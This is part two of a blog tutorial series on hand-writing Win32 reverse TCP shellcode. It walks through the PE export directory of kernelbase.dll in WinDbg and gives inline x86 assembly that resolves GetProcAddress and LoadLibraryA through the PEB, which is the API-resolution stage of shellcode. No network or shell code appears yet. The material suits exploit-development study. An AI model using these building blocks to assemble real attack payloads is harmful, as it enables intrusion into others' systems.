This article focuses on how to locate the Export Directory Table from the PE file structure. This is the second part of a blog series that focuses on how to create a custom Win32 reverse shellcode.

The first part can be found at the following link

According to Microsoft Docs,

The export symbol information begins with the export directory table, which describes the remainder of the export symbol information. The export directory table contains address information that is used to resolve imports to the entry points within this image. Following, the export address table contains the address of exported entry points and exported data and absolutes. An ordinal number is used as an index into the export address table. If the address specified is not within the export section (as defined by the address and length that are indicated in the optional header), the field is an export RVA, which is an actual address in code or data. Otherwise, the field is a forwarder RVA, which names a symbol in another DLL.


Search for the Export Directory Table

From the previous post [pt .1], we have accomplished to locate the kernelbase.dll base address. Now that we have the kernelbase.dll address, we need to parse the PE file structure to find the offset of the export directory table. It is worth to mention here that we will not proceed further in details about the PE file structure, but the following screenshot can provide useful information about the format of the PE file structure.

PE File Structure Format

The image above has been taken from the following blog post which explains the PE format in more detail.

Before moving further, we need to locate the exact offset of the e_lfanew. The e_lfanew field is a 4-byte offset into the file where the PE file header is located. It is necessary to use this offset to locate the PE header in the file. In WinDbg we run the dt -n _IMAGE_DOS_HEADER as follows

0:000> dt -n _IMAGE_DOS_HEADER
ntdll!_IMAGE_DOS_HEADER
   +0x000 e_magic          : Uint2B
   +0x002 e_cblp           : Uint2B
   +0x004 e_cp             : Uint2B
   +0x006 e_crlc           : Uint2B
   +0x008 e_cparhdr        : Uint2B
   +0x00a e_minalloc       : Uint2B
   +0x00c e_maxalloc       : Uint2B
   +0x00e e_ss             : Uint2B
   +0x010 e_sp             : Uint2B
   +0x012 e_csum           : Uint2B
   +0x014 e_ip             : Uint2B
   +0x016 e_cs             : Uint2B
   +0x018 e_lfarlc         : Uint2B
   +0x01a e_ovno           : Uint2B
   +0x01c e_res            : [4] Uint2B
   +0x024 e_oemid          : Uint2B
   +0x026 e_oeminfo        : Uint2B
   +0x028 e_res2           : [10] Uint2B
   +0x03c e_lfanew         : Int4B

As we see above, the e_lfanew exists at offset 0x03c. According to [ this ] blog ,the MS-DOS header occupies the first 64 bytes of the PE file. A structure representing its content is described below

typedef struct _IMAGE_DOS_HEADER { 
    USHORT e_magic;         
    USHORT e_cblp;          
    USHORT e_cp;            
    USHORT e_crlc;          
    USHORT e_cparhdr;       
    USHORT e_minalloc;      
    USHORT e_maxalloc;      
    USHORT e_ss;            
    USHORT e_sp;            
    USHORT e_csum;          
    USHORT e_ip;            
    USHORT e_cs;            
    USHORT e_lfarlc;        
    USHORT e_ovno;          
    USHORT e_res[4];        
    USHORT e_oemid;         
    USHORT e_oeminfo;       
    USHORT e_res2[10];      
    LONG   e_lfanew;        
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Now that we know the location of the PE header, we will move further to locate the offset of the Export Directory Table from the _IMAGE_EXPORT_DIRECTORY structure. First we will locate the base address of the kernelbase.dll module

0:000> lm  
start    end        module name
000a0000 000bf000   testasm  C (private pdb symbols)  C:\symbols\testasm\testasm.pdb
712c0000 71434000   ucrtbased   (deferred)             
71440000 7145b000   VCRUNTIME140D   (deferred)             
760a0000 76190000   KERNEL32   (deferred)             
76190000 763a3000   KERNELBASE   (pdb symbols)          c:\symbols\wkernelbase.pdb\4FB470EF91F049226E7209E0E1ADD6791\wkernelbase.pdb
77630000 777d2000   ntdll      (pdb symbols)          c:\symbols\wntdll.pdb\DBC8C8F74C0E3696E951B77F0BB8569F1\wntdll.pdb

At this point we will use the base address of kernelbase.dll module marked in red above in order to find the offset of the Export Directory Table for the specific DLL

0:000> !dh 76190000 -f

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       6 number of sections
AE908B72 time date stamp
       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
   14.20 linker version
  1D5E00 size of code
   39000 size of initialized data
       0 size of uninitialized data
  114030 address of entry point
    1000 base of code
         ----- new -----
76190000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
   10.00 operating system version
   10.00 image version
   10.00 subsystem version
  213000 size of image
     400 size of headers
  2237E3 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
    4140  DLL characteristics
            Dynamic base
            NX compatible
            Guard
  1C8030 [    EDC0] address [size] of Export Directory
  1DBAF4 [      3C] address [size] of Import Directory
  1E2000 [     548] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
  20CE00 [    6BF0] address [size] of Security Directory
  1E3000 [   2F998] address [size] of Base Relocation Directory
   81860 [      70] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    11C0 [      AC] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
  1DB000 [     AE8] address [size] of Import Address Table Directory
  1C6020 [     480] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

As we see above, and if we go down the structure, we will see ( highlighted in red above ), that the Export Directory exists at offset 1C8030 from the kernelbase.dll base address. So, according to this information, we are able to locate all the values of the arguments passed to the IMAGE_EXPORT_DIRECTORY as seen below highlighted in red.

0:000> dd 76190000+1C8030
76358030  00000000 ae908b72 00000000 001cca86
76358040  00000001 0000076b 0000076b 001c8058
76358050  001c9e04 001cbbb0 00183ee0 001216a0
76358060  00114e40 001ccaeb 00128350 0011ec40
76358070  001dbaf0 00128010 001ac010 00127770
76358080  001ac0b0 001ac160 001ac1d0 001ac290
76358090  001ccc2b 001ccc61 001779e0 00124f40
763580a0  00123720 000fd490 001ac350 001ac3a0

And all the above information can be mapped using the IMAGE_EXPORT_DIRECTORY structure as seen below

 public struct IMAGE_EXPORT_DIRECTORY
    {
        public UInt32 Characteristics;       // 00000000
        public UInt32 TimeDateStamp;         // ae908b72
        public UInt16 MajorVersion;          // 0000
        public UInt16 MinorVersion;          // 0000
        public UInt32 Name;                  // 001cca86
        public UInt32 Base;                  // 00000001
        public UInt32 NumberOfFunctions;     // 0000076b
        public UInt32 NumberOfNames;         // 0000076b
        public UInt32 AddressOfFunctions;    // 001c8058 
        public UInt32 AddressOfNames;        // 001c9e04
        public UInt32 AddressOfNameOrdinals; // 001cbbb0
    }

At this point we are most interested at the following structure fields, AddressOfFunctions, AddressOfNames and AddressOfNameOrdinals

MOV EDX,DWORD PTR DS:[EBX+3C] ; EDX = DOS->e_lfanew
ADD EDX,EBX                   ; EDX = PE Header
MOV EDX,DWORD PTR DS:[EDX+78] ; EDX = Offset export table
ADD EDX,EBX                   ; EDX = Export table
MOV ESI,DWORD PTR DS:[EDX+20] ; ESI = Offset names table
ADD ESI,EBX                   ; ESI = Names table
XOR ECX,ECX                   ; EXC = 0

At the first line we will move the pointer to e_lfanew to the edx register at offset 0x3C, because the size of the MS-DOS header is 0x40 bytes and the last 4 bytes are the e_lfanew pointer. At the second line we add the value in edx to the base address, because the pointer is relative to the base address.

At the third line, the offset 0x78 of the PE header holds the DataDirectory for the exports. We know this because the size of all PE headers (Signature, FileHeader and OptionalHeader) before the DataDirectory is exactly 0x78 bytes and the export is the first entry in the DataDirectory table. At the fourth line, we add this value to the edx register and after that we should be placed on the export table of the kernelbase.dll.

At the fifth line, in the IMAGE_EXPORT_DIRECTORY structure, at the offset 0x20, we can find the pointer to the AddressOfNames, and from there we can get the exported function names. This is required because we try to find the function by its name even if it is possible using some other methods. Furthermore, we will save the pointer in the esi register and set ecx register to 0.

We are now located at the AddressOfNames, an array of pointers ( relative to the image base address, which is the address where kernelbase.dll is loaded into memory ). So each 4 bytes will represent a pointer to a function name. Moreover, we can find the function name, and the function name ordinal ( the number of the GetProcAddress function ) as shown below:

GetFunction: 

INC ECX                            ; increment counter 
LODSD                              ; Get name offset
ADD EAX,EBX                        ; Get function name
CMP dword [EAX], 0x50746547        ; "PteG"
JNZ SHORT GetFunction              ; jump to GetFunction label if not "GetP"
CMP dword [EAX + 0x4], 0x41636F72  ; "Acor" 
JNZ SHORT GetFunction              ; jump to GetFunction label if not "rocA"
CMP dword [EAX + 0x8],0x65726464   ; "erdd"
JNZ SHORT GetFunction              ; jump to GetFunction label if not "ddre"

First we will increment ecx register, which is the counter of the functions and the function ordinal number. Next we will use the esi register as the pointer to the first function name. The lodsd instruction will load in eax the offset to the function name and then the value in eax will be added to the ebx ( kernelbase base address ) in order to find the correct pointer. Note that the lodsd instruction will also increment the esi register value by 4. This helps us because we do not have to increment it manually, we just need to call again lodsd in order to get the next pointer which points to the next module.

Furthermore, the correct pointer to the exported function name has been loaded in the eax register. Now we need to check if the exported function name is the GetProcAddress. For that reason we compare the exported function name with 0x50746547. This value is actually 50 74 65 47 in hex, which in little endian means "PteG" in ascii char format. So, we compare if the first 4 bytes of the current function name are "GetP". If they are not, jnz instruction will jump again at our label GetFunction and then will continue with the next function name. If it is, we will also check the next 4 bytes, which must be "Acor" and the next 4 bytes "erdd" until to be sure we do not find other function that starts with "GetP".

At this point we have only found the ordinal of the GetProcAddress function. We will use the ordinal in order to find the actual address of the GetProcAddress function:

MOV ESI,DWORD PTR DS:[EDX+24]     ; ESI = Offset ordinals
ADD ESI,EBX                       ; ESI = Ordinals table
MOV CX,WORD PTR DS:[ESI+ECX*2]    ; CX = Number of function
DEC ECX                           ; Decrement the ordinal 
MOV ESI,DWORD PTR DS:[EDX+1C]     ; ESI = Offset address table
ADD ESI,EBX                       ; ESI = Address table
MOV EDX,DWORD PTR DS:[ESI+ECX*4]  ; EDX = Pointer(offset)
ADD EDX,EBX                       ; EDX = GetProcAddress

At the first line above, in edx we have a pointer to the IMAGE_EXPORT_DIRECTORY structure. At offset 0x24 of the structure we can find the AddressOfNameOrdinals offset. In second line, we add this offset to ebx register which is the image base of the kernelbase.dll so we get a valid pointer to the name ordinals table.

At the third line, the esi register contains the pointer to the name ordinals array. This array contains two bytes. We have the name ordinal byte (index) of GetProcAddress function in ecx register, so this way we can get the function address ordinal (index). This will help us to get the function address. In fourth line we have to decrement the ordinal byte because the name ordinals starts from zero (0).

At the fifth line, at the offset 0x1c we can find the AddressOfFunctions, the pointer to the function pointer array. At the sixth line we just add the image base of kernelbase.dll. Then we will be placed at the beginning of the array.

At seventh line, we have the correct index for the AddressOfFunctions array in ecx. There we have found the GetProcAddress function pointer (relative to the image base) at the ecx location. Furthermore, we use ecx * 4 because each pointer has 4 bytes and esi points to the beginning of the array. In eighth line, we add the image base, so in the edx register we will have the pointer to the GetProcAddress function.

At this point we can see the full implementation we did so far from the previous blog posts until now

#include <windows.h>

int main(int argc, char* argv[])
{
    LoadLibrary("user32.dll");
    _asm
    {
        // Locate Kernelbase.dll address
        XOR ECX, ECX              // zero out ECX
        MOV EAX, FS:[ecx + 0x30]  // EAX = PEB
        MOV EAX, [EAX + 0x0c]     // EAX = PEB->Ldr
        MOV ESI, [EAX + 0x14]     // ESI = PEB->Ldr.InMemoryOrderModuleList
        LODSD                     // memory address of the second list entry structure
        XCHG EAX, ESI             // EAX = ESI , ESI = EAX 
        LODSD                     // memory address of the third list entry structure
        XCHG EAX, ESI             // EAX = ESI , ESI = EAX 
        LODSD                     // memory address of the fourth list entry structure
        MOV EBX, [EAX + 0x10]     // EBX = Base address


        // Export Table 
        MOV EDX, DWORD PTR DS:[EBX + 0x3C]      //EDX = DOS->e_lfanew
        ADD EDX, EBX                            //EDX = PE Header
        MOV EDX, DWORD PTR DS:[EDX + 0x78]      //EDX = Offset export table
        ADD EDX, EBX                            //EDX = Export table
        MOV ESI, DWORD PTR DS:[EDX + 0x20]      //ESI = Offset names table
        ADD ESI, EBX                            //ESI = Names table
        XOR ECX, ECX                            //EXC = 0

        GetFunction :

        INC ECX                             //increment counter
        LODSD                               //Get name offset
        ADD EAX, EBX                        //Get function name
        CMP[EAX], 0x50746547                //"PteG"
        JNZ SHORT GetFunction               //jump to GetFunction label if not "GetP"
        CMP[EAX + 0x4], 0x41636F72          //"rocA"
        JNZ SHORT GetFunction               //jump to GetFunction label if not "rocA"
        CMP[EAX + 0x8], 0x65726464          //"ddre"
        JNZ SHORT GetFunction               //jump to GetFunction label if not "ddre"

        MOV ESI, DWORD PTR DS:[EDX + 0x24]      //ESI = Offset ordinals
        ADD ESI, EBX                            //ESI = Ordinals table
        MOV CX, WORD PTR DS:[ESI + ECX * 2]     //CX = Number of function
        DEC ECX                                 //Decrement the ordinal
        MOV ESI, DWORD PTR DS:[EDX + 0x1C]      //ESI = Offset address table
        ADD ESI, EBX                            //ESI = Address table
        MOV EDX, DWORD PTR DS:[ESI + ECX * 4]   //EDX = Pointer(offset)
        ADD EDX, EBX                            //EDX = GetProcAddress

        // Get the Address of LoadLibraryA function 
        XOR ECX, ECX                        //ECX = 0
        PUSH EBX                            //Kernelbase base address
        PUSH EDX                            //GetProcAddress
        PUSH ECX                            //0
        PUSH 0x41797261                     //"Ayra"
        PUSH 0x7262694C                     //"rbiL"
        PUSH 0x64616F4C                     //"daoL"
        PUSH ESP                            //"LoadLibrary"
        PUSH EBX                            //Kernelbase base address
        MOV  ESI, EBX                       //save the kernelbase address in esi for later
        CALL EDX                            //GetProcAddress(LoadLibraryA)
    }
    return 0;
}

Furthermore, if we load the testasm.exe in WinDbg debugger, we see that after the execution of the last instruction CALL EDX, the eax register will finally hold the return value from the GetProcAddress function, which is the address of the LoadLobraryA function.

WinDbg debugging

This was the second part of the custom win32 reverse tcp shellcode development series. At this second part, we have achieved to be in a position to use the GetProcAddress function from Kernelbase.dll library. In conclusion, after reading this post, we understand that we are at the point where we can use the GetProcAddress function, and this is a crucial part before we continue with the reverse tcp shellcode construction, as we will see in a later blog post. What is important here, is that we are now able to find the address of LoadLibraryA function, which can help us loading other libraries where we can further use their functions. At the thirt part of this custom win32 reverse tcp shellcode development series, we will be focusing on the rest of the construction of the reverse tcp shellcode.

References